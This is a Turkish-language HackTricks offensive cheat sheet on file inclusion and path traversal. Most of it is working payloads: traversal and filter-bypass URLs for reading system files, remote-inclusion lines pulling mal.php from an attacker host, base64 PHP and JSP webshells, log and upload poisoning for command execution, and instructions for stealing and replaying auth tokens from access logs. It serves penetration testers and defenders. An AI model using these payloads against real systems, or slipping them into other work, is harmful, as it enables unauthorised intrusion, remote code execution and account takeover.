File Inclusion/Path traversal
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
File Inclusion
Remote File Inclusion (RFI): Dosya uzak bir sunucudan yüklenir (Avantaj: Kodu yazabilir ve sunucu çalıştırır). php’de bu varsayılan olarak devre dışıdır (allow_url_include).
Local File Inclusion (LFI): Sunucu yerel bir dosyayı yükler.
Zafiyet, kullanıcının sunucunun yükleyeceği dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.
Etkilenen PHP fonksiyonları: require, require_once, include, include_once
Bu zafiyeti istismar etmek için ilginç bir araç: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Farklı *nix LFI listelerini karıştırıp daha fazla yol ekleyerek bunu oluşturdum:
Ayrıca / yerine \ deneyin
Ayrıca ../../../../../ eklemeyi deneyin
Birden çok teknik kullanarak /etc/password dosyasını (zafiyetin varlığını kontrol etmek için) bulmak için kullanılan bir liste here bulunabilir
Windows
Farklı wordlists birleşimi:
Ayrıca / yerine \ deneyin
Ayrıca C:/’yi kaldırıp ../../../../../ eklemeyi deneyin
Birden çok teknik kullanarak /boot.ini dosyasını (zafiyetin varlığını kontrol etmek için) bulmak için kullanılan bir liste here bulunabilir
OS X
Linux için LFI listesini kontrol edin.
Temel LFI ve bypasses
Tüm örnekler Local File Inclusion içindir ancak Remote File Inclusion’a da uygulanabilir (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal dizileri özyinelemsiz olarak kaldırıldı
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Sağlanan dizeye sonuna daha fazla karakter eklenmesini bypass eder (bypass of: $_GET[‘param’].“php”)
http://example.com/index.php?page=../../../etc/passwd%00
Bu PHP 5.4’ten beri çözülmüş
Kodlama
Standart dışı kodlamalar kullanabilirsiniz, ör. double URL encode (ve diğerleri):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
Modern HTML-to-PDF engines (e.g. TCPDF or wrappers such as html2pdf) saldırgan tarafından sağlanan HTML, SVG, CSS ve font URL’lerini memnuniyetle ayrıştırır, fakat dosya sistemi erişimi olan güvenilir backend ağları içinde çalışırlar. $pdf->writeHTML()/Html2Pdf::writeHTML() içine HTML enjekte edebildiğinizde, web sunucusu hesabının okuyabildiği yerel dosyaları sıklıkla exfiltrate edebilirsiniz.
- Fingerprint the renderer: every generated PDF contains a
Producerfield (e.g.TCPDF 6.8.2). Knowing the exact build tells you which path filters exist and whether URL decoding occurs before validation. - Inline SVG payloads:
TCPDF::startSVGElementHandler()<image>elemanlarındakixlink:hrefözniteliğiniurldecode()çalıştırmadan önce okur. Kötü amaçlı bir SVG’yi data URI içinde gömmek birçok HTML sanitizers’ın payload’ı yok saymasına neden olurken TCPDF yine de bunu ayrıştırır:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF prepends $_SERVER['DOCUMENT_ROOT'] to paths beginning with / and only later resolves .., so use either leading ../../.. segments or /../../.. to escape the root after the prepend.
- Naif filtreleri atlatmak için kodlama: Sürümler ≤6.8.2 yalnızca URL’yi decode etmeden önce literal alt dize
../’i kontrol eder. SVG’ye veya ham bir<img src>özniteliğine..%2f(veya..%2F) göndermek kontrolü atlatır, çünkü traversal dot-dot-slash dizisi sadece TCPDFurldecode()çağırdıktan sonra yeniden oluşturulur. - Çok aşamalı dekodlama için çift kodlama: Eğer kullanıcı girdisi web framework tarafından ve TCPDF tarafından decode ediliyorsa, slash’i çift kodlayın (
%252f). Bir decode onu%2f’ye çevirir, TCPDF’deki ikinci decode onu/yapar; bu da/..%252f..→/../../../…sonucunu verir ve erken filtrelere asla../göstermez. - HTML
<img>handler:TCPDF::openHTMLTagHandler()aynı işlem sırası hatasını içerir, bu sayedesrc="%2f..%252f..%252ftmp%252fsecret.png"gibi doğrudan HTML payload’larının herhangi bir yerel erişilebilir bitmap’i okumasına izin verir.
Bu teknik, PDF worker tarafından okunabilecek her şeyi leaks eder (passport scans, API keys rendered as images, vb.). Hardeners bunu 6.9.1’de yolları canonicalise ederek (isRelativePath()) düzeltti, bu yüzden testlerde daha eski Producer sürümlerine öncelik verin.
Mevcut dizinden
Belki back-end klasör yolunu kontrol ediyordur:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Sunucuda Dosya Sistemi Dizinlerini Keşfetme
Bir sunucunun dosya sistemi, belirli teknikler kullanılarak yalnızca dosyaları değil, dizinleri de tanımlamak için özyinelemeli olarak keşfedilebilir. Bu işlem, dizin derinliğinin belirlenmesi ve belirli klasörlerin varlığının denenmesini içerir. Aşağıda bunu başarmak için ayrıntılı bir yöntem yer almaktadır:
- Dizin Derinliğini Belirleme: Geçerli dizininizin derinliğini,
/etc/passwddosyasını başarıyla getirerek belirleyin (sunucu Linux tabanlı ise geçerlidir). Örnek bir URL aşağıdaki gibi yapılandırılmış olabilir; bu, üç düzey derinliği gösterir:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Probe for Folders: URL’ye şüphelenilen klasörün adını (ör.
private) ekleyin, ardından/etc/passwd’e geri dönün. Ek dizin seviyesi derinliği bir artırmayı gerektirir:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Sonuçları Yorumlayın: Sunucunun yanıtı klasörün var olup olmadığını gösterir:
- Hata / Çıktı Yok:
privateklasörü belirtilen konumda muhtemelen yoktur. - Contents of
/etc/passwd:privateklasörünün varlığı doğrulanır.
- Recursive Exploration: Bulunan klasörler aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla sorgulanabilir.
Dosya sisteminde farklı konumlardaki dizinleri keşfetmek için payload’u buna göre ayarlayın. Örneğin, /var/www/ içinde bir private dizini olup olmadığını kontrol etmek için (geçerli dizinin derinliği 3 olduğunu varsayarsak) kullanın:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ek karakterler ekleyen bazı güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile hedef dosyaya işaret eden bir dosya yolu oluşturmaktır.
In PHP, dosya sisteminin doğası gereği bir dosya yolunun farklı gösterimleri eşdeğer kabul edilebilir. Örneğin:
/etc/passwd,/etc//passwd,/etc/./passwdve/etc/passwd/tümü aynı yol olarak değerlendirilir.- Son 6 karakter
passwdolduğunda, sonuna/eklemek (yanipasswd/yapmak) hedeflenen dosyayı değiştirmez. - Benzer şekilde, bir dosya yoluna
.phpeklendiğinde (örneğinshellcode.php), sonuna/.eklemek erişilen dosyayı değiştirmez.
Sağlanan örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan /etc/passwd’e erişmek için Path truncation’ın nasıl kullanılacağını gösterir:
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Bu senaryolarda gerekli traversals sayısı yaklaşık 2027 civarı olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir.
- Using Dot Segments and Additional Characters: Traversal sequences (
../) ekstra dot segments ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir; sunucunun eklediği son ekler (örn..php) etkisizleştirilebilir. - Determining the Required Number of Traversals: Deneme-yanılma yoluyla, root dizinine ve oradan
/etc/passwd’e ulaşmak için gereken../dizilerinin tam sayısı bulunabilir; bu sırada eklenen dizeler (örn..php) nötralize edilirken hedef yol (/etc/passwd) korunur. - Starting with a Fake Directory: Genellikle yol
a/gibi var olmayan bir dizinle başlatılır. Bu teknik, önlem amaçlı veya sunucunun path parsing mantığının gereksinimlerini karşılamak için kullanılır.
When employing path truncation techniques, sunucunun path parsing davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak sıklıkla gereklidir.
Bu zafiyet PHP 5.3’te düzeltildi.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
php’de bu varsayılan olarak devre dışıdır çünkü allow_url_include Off. Çalışması için On olması gerekir ve bu durumda sunucunuzdan bir PHP dosyasını include ederek RCE elde edebilirsiniz:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Eğer bir sebeple allow_url_include On ise, ancak PHP harici web sayfalarına erişimi filtreliyorsa, according to this post, örneğin data protokolünü base64 ile kullanarak bir b64 PHP kodunu çözerek RCE elde edebilirsiniz:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
Önceki kodda, sonundaki
+.txteklendi çünkü attacker’ın.txtile biten bir string’e ihtiyacı vardı, bu yüzden string onunla bitiyor ve b64 decode işleminden sonra o kısım sadece çöp döndürecek ve gerçek PHP kodu dahil edilecek (ve dolayısıyla çalıştırılacak).
Başka bir örnek php:// protokolünü kullanmayan şöyle olurdu:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Kök öğesi
Aşağıdaki gibi bir Python kodunda:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Kullanıcı absolute path’i file_name’e geçirirse, önceki yol sadece kaldırılır:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Bu, the docs göre kasıtlı bir davranıştır:
Bir bileşen mutlak bir yol ise, önceki tüm bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.
Java Dizinleri Listeleme
Görünüşe göre Java’da bir Path Traversal varsa ve bir dosya yerine bir dizin isterseniz, dizinin listelemesi döndürülüyor. Bu diğer dillerde olmuyor (afaik).
LFI’ye açık olabilecek 25 parametre
İşte local file inclusion (LFI) zafiyetlerine açık olabilecek 25 parametrenin listesi (kaynak: link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI PHP wrappers & protokollerini kullanarak
php://filter
PHP filtreleri, veriler okunmadan veya yazılmadan önce temel veri üzerinde değişiklik işlemleri yapmaya izin verir. Filtrelerin 5 kategorisi vardır:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Verilerden tagleri kaldırır ( “<” ile “>” karakterleri arasındaki her şey)- Not: bu filtre modern PHP sürümlerinden kaldırılmıştır
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Farklı bir kodlamaya dönüştürür (convert.iconv.<input_enc>.<output_enc>). Desteklenen tüm kodlamaların listesini almak için konsolda çalıştırın:iconv -l
Warning
convert.iconv.*dönüşüm filtresini kötüye kullanarak rastgele metin üretebilirsiniz, bu da rastgele metin yazmak veya include gibi bir fonksiyonun rastgele metni işlemesini sağlamak için faydalı olabilir. Daha fazla bilgi için bakınız LFI2RCE via php filters.
- Compression Filters
zlib.deflate: İçeriği sıkıştırır (çok fazla bilgi sızdırıyorsanız faydalı)zlib.inflate: Veriyi açar- Encryption Filters
mcrypt.*: Kullanımdan kaldırıldımdecrypt.*: Kullanımdan kaldırıldı- Other Filters
- PHP’de
var_dump(stream_get_filters());çalıştırdığınızda birkaç beklenmeyen filtre bulabilirsiniz: consumeddechunk: HTTP chunked encoding’i tersine çevirirconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
“php://filter” kısmı büyük/küçük harf duyarsızdır
php filters’ı oracle olarak kullanarak herhangi bir dosyayı okuma
Bu yazıda php filters’ı oracle olarak kullanarak dosyanın boolean exfiltration (char by char) ile sunucudan çıktı almadan yerel bir dosyayı okumaya yarayan bir teknik öneriliyor. Bu, php filters’ın bir metni php’nin bir hata fırlatacağı kadar büyük hale getirmek için kullanılabilmesinden kaynaklanır.
Orijinal yazıda teknik detaylı olarak açıklanmış; burada kısa bir özet:
- Kodlayıcı
UCS-4LE’yi, metnin baştaki karakterini öne çıkarıp dizenin boyutunu üssel olarak artırmak için kullanın. - Bu, başlangıç harfi doğru tahmin edildiğinde php’nin bir hata tetikleyeceği kadar büyük bir metin üretmek için kullanılacak.
- dechunk filtresi ilk karakter onaltılık değilse her şeyi kaldırır, böylece ilk karakterin hex olup olmadığını bilebiliriz.
- Bu, önceki ile birleştiğinde (ve tahmin edilen harfe bağlı diğer filtrelerle), yeterli dönüşümü uyguladığımızda harfin onaltılık olmaktan çıkıp çıkmadığını görerek metnin başındaki bir harfi tahmin etmemizi sağlar. Çünkü eğer hex ise, dechunk onu silmez ve başlangıç bombası php hata verir.
- Kodlayıcı convert.iconv.UNICODE.CP930 her harfi bir sonrakine dönüştürür (yani bu codec sonrası: a -> b). Bu, örneğin ilk harfin
aolup olmadığını keşfetmemizi sağlar çünkü bu codec’i 6 kez uygularsak a->b->c->d->e->f->g harf artık onaltılık bir karakter olmaz; dolayısıyla dechunk onu silmez ve başlangıç bombasıyla çarpıldığı için php hatası tetiklenir. - Başta rot13 gibi diğer dönüşümler kullanarak n, o, p, q, r gibi diğer karakterleri leak etmek mümkündür (ve diğer codec’ler diğer harfleri hex aralığına taşımak için kullanılabilir).
- Başlangıç karakteri bir sayı olduğunda, onu base64 encode etmek ve sayıyı leak etmek için ilk 2 harfi leak etmek gerekir.
- Son problem, ilk harften daha fazlasını nasıl leak edeceğimize bakmaktır. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE gibi order memory filtreleri kullanarak karakterlerin sırasını değiştirmek ve metnin ilk pozisyonuna diğer harfleri getirmek mümkündür.
- Daha fazla veri elde edebilmek için fikir, başlangıçta convert.iconv.UTF16.UTF16 ile başında 2 byte çöp veri üretmek, sonra UCS-4LE uygulayıp bunu sonraki 2 byte ile pivot ettirmek ve çöp veriye kadar veriyi silmek (bu, başlangıçtaki metnin ilk 2 baytını kaldırır). Leak etmek istediğiniz biti bulana kadar bunu tekrarlamaya devam edin.
Yazıda bu işlemi otomatikleştiren bir araç da paylaşıldı: php_filters_chain_oracle_exploit.
php://fd
Bu wrapper, process’un açık tuttuğu file descriptors’a erişime izin verir. Potansiyel olarak açılmış dosyaların içeriğini exfiltrate etmek için yararlı olabilir:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Ayrıca php://stdin, php://stdout and php://stderr kullanarak sırasıyla file descriptors 0, 1 and 2’ye erişebilirsiniz (bunun bir saldırıda nasıl faydalı olabileceğinden emin değilim)
zip:// ve rar://
İçinde bir PHPShell olan Zip veya Rar dosyası yükleyin ve erişin.
rar protocol’un kötüye kullanılabilmesi için özel olarak etkinleştirilmesi gerekir
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Note that this protocol is restricted by php configurations allow_url_open and allow_url_include
expect://
Expect’in etkinleştirilmiş olması gerekir. Bunu kullanarak kod çalıştırabilirsiniz:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
POST parametrelerinde payload’unuzu belirtin:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
A .phar dosyası, bir web uygulaması dosya yükleme için include gibi fonksiyonları kullandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıdaki PHP kod parçacığı bir .phar dosyasının oluşturulmasını gösterir:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
.phar dosyasını derlemek için, aşağıdaki komut çalıştırılmalıdır:
php --define phar.readonly=0 create_path.php
Çalıştırıldığında, test.phar adlı bir dosya oluşturulacak; bu dosya potansiyel olarak Local File Inclusion (LFI) zaafiyetlerini istismar etmek için kullanılabilir.
LFI yalnızca içindeki PHP kodunu çalıştırmadan dosya okuma yapıyorsa — örneğin file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() veya filesize() gibi fonksiyonlarla — deserialization vulnerability istismarı denenebilir. Bu zafiyet, phar protokolü kullanılarak dosya okunmasıyla ilişkilidir.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
php filters’ı destekleyen PHP’den okunan herhangi bir dosya kötüye kullanılarak RCE elde etmek mümkün oldu. Ayrıntılı açıklama found in this post.
Çok kısa özet: PHP heap’inde bir 3 byte overflow kötüye kullanılarak belirli bir boyuttaki serbest chunk zincirini alter the chain of free chunks etmek için istismar edildi ve böylece write anything in any address yapılabildi; bu yüzden system çağıracak bir hook eklendi.
Daha fazla php filters kötüye kullanılarak belirli boyutlarda chunk’lar alloc etmek mümkün oldu.
Daha fazla protokol
Dahil edilebilecek diğer olası protocols to include here:
- php://memory and php://temp — Belleğe veya geçici bir dosyaya yazma (bir file inclusion attack’te bunun nasıl faydalı olabileceğinden emin değilim)
- file:// — Yerel dosya sistemine erişim
- http:// — HTTP(s) URL’lerine erişim
- ftp:// — FTP(s) URL’lerine erişim
- zlib:// — Sıkıştırma akışları
- glob:// — Desenle eşleşen yol adlarını bulma (yazdırılabilir hiçbir şey döndürmediği için burada pek kullanışlı değil)
- ssh2:// — Secure Shell 2
- ogg:// — Ses akışları (Rastgele dosyaları okumak için kullanışlı değil)
LFI via PHP’s ‘assert’
PHP’de Local File Inclusion (LFI) riski, string içinde kod çalıştırabilen ‘assert’ fonksiyonuyla uğraşıldığında özellikle yüksektir. Bu, “..” gibi directory traversal karakterleri içeren girdiler kontrol edilip uygun şekilde sanitize edilmezse özellikle sorunludur.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Bu, traversal’ı engellemeyi amaçlasa da, kazara code injection için bir vektör oluşturur. Dosya içeriğini okumak için bundan faydalanmak üzere bir attacker şunu kullanabilir:
' and die(highlight_file('/etc/passwd')) or '
Benzer şekilde, herhangi bir sistem komutunu çalıştırmak için şu kullanılabilir:
' and die(system("id")) or '
It’s important to URL-encode these payloads.
PHP Blind Path Traversal
Warning
Bu teknik, bir PHP fonksiyonunun erişeceği dosya yolunu kontrol ettiğiniz, fakat dosyanın içeriğini görmediğiniz (ör. basit bir çağrı olan
file()) durumlarda geçerlidir.
In this incredible post it’s explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
Özetle, teknik dosya içeriğini o kadar büyük yapmak için “UCS-4LE” encoding kullanıyor ki, dosyayı açan PHP fonksiyonu bir hata tetikliyor.
Daha sonra, ilk karakteri leak etmek için filtre dechunk base64 veya rot13 gibi diğer filtrelerle birlikte kullanılır ve sonunda filtreler convert.iconv.UCS-4.UCS-4LE ve convert.iconv.UTF16.UTF-16BE diğer karakterleri başa yerleştirmek ve onları leak etmek için kullanılır.
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
Notes:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple
File/Pathsconcatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Sertleştirmeler (Bu tür açıkları engeller):
- Yolu kanonik bir path’e çözün ve bunun izinli (allow-listed) bir ana dizinin descendant olduğunu zorunlu kılın.
.., mutlak kökler veya sürücü harfleri içeren hiçbir yolu kabul etmeyin; üretilen dosya adlarını tercih edin.- Yazma işlemini düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini sunulan köklerden ayırın.
Remote File Inclusion
Daha önce açıklandı, follow this link.
Via Apache/Nginx log file
Eğer Apache veya Nginx sunucusu include function içinde vulnerable to LFI ise /var/log/apache2/access.log or /var/log/nginx/access.log dosyalarına erişmeyi deneyebilir, user agent içine veya bir GET parameter içine <?php system($_GET['c']); ?> gibi bir php shell koyup o dosyayı include edebilirsiniz
Warning
Not: Shell için simple quotes yerine double quotes kullanırsanız, çift tırnaklar string için “quote;” olarak değiştirilecek, PHP burada bir hata fırlatacak ve başka hiçbir şey çalıştırılmayacak.
Ayrıca, payload’u doğru yazdığınızdan emin olun; aksi takdirde PHP log dosyasını her yüklemeye çalıştığında hata verecek ve ikinci bir şansınız olmayacak.
Bu işlem diğer log’larda da yapılabilir ancak dikkat—log içindeki kod URL encoded olabilir ve bu Shell’i bozabilir. Header authorisation “basic” Base64 içinde “user:password” içerir ve loglarda decode edilir. PHPShell bu header içine de yerleştirilebilir.
Diğer olası log yolları:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Erişim günlüklerini okuyarak GET tabanlı auth tokenlarını ele geçirme (token replay)
Birçok uygulama yanlışlıkla session/auth tokenlarını GET ile kabul eder (ör. AuthenticationToken, token, sid). Eğer web sunucusu loglarına path traversal/LFI primitive’i ile erişim sağlayabiliyorsanız, bu tokenları access log’lardan çalabilir ve replay ederek authentication’ı tamamen atlayabilirsiniz.
How-to:
- Use the traversal/LFI to read the web server access log. Common locations:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
- Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Gövde Base64 ise çözün, ardından yakalanmış bir token’ı yeniden oynatın:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Notlar:
- URL’lerdeki token’lar varsayılan olarak loglanır; üretim sistemlerinde GET ile bearer token’ları asla kabul etmeyin.
- Eğer uygulama birden fazla token adı destekliyorsa, AuthenticationToken, token, sid, access_token gibi yaygın anahtarları arayın.
- Loglara leaked olmuş olabilecek token’ları değiştirin.
E-posta ile
Bir e-posta gönderin internal bir hesaba (user@localhost) PHP payload’unuzu içerecek şekilde, örn. <?php echo system($_REQUEST["cmd"]); ?> ve kullanıcının mail’ini şu yol ile include etmeye çalışın: /var/mail/<USERNAME> veya /var/spool/mail/<USERNAME>
/proc//fd/ üzerinden
- Çok sayıda shell yükleyin (örneğin: 100)
- http://example.com/index.php?page=/proc/$PID/fd/$FD adresini include edin; burada $PID = işlemin PID’si (brute forced olabilir) ve $FD dosya descriptor’ı (o da brute forced olabilir)
/proc/self/environ üzerinden
Bir log dosyası gibi, payload’u User-Agent içinde gönderin; /proc/self/environ dosyasında yansıyacaktır.
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Yükleme yoluyla
Eğer bir dosya yükleyebiliyorsanız, shell payload’ı içine enjekte edin (örn: <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
Dosyanın okunabilirliğini korumak için, resimleri/doc/pdf’leri metadata’ya enjekte etmek en iyisidir
ZIP dosya yüklemesi ile
PHP shell içeren sıkıştırılmış bir ZIP dosyası yükleyin ve erişin:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Aracılığıyla PHP sessions
Web sitesinin PHP Session (PHPSESSID) kullanıp kullanmadığını kontrol edin.
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
PHP’de bu oturumlar /var/lib/php5/sess\[PHPSESSID]_ dosyalarında saklanır
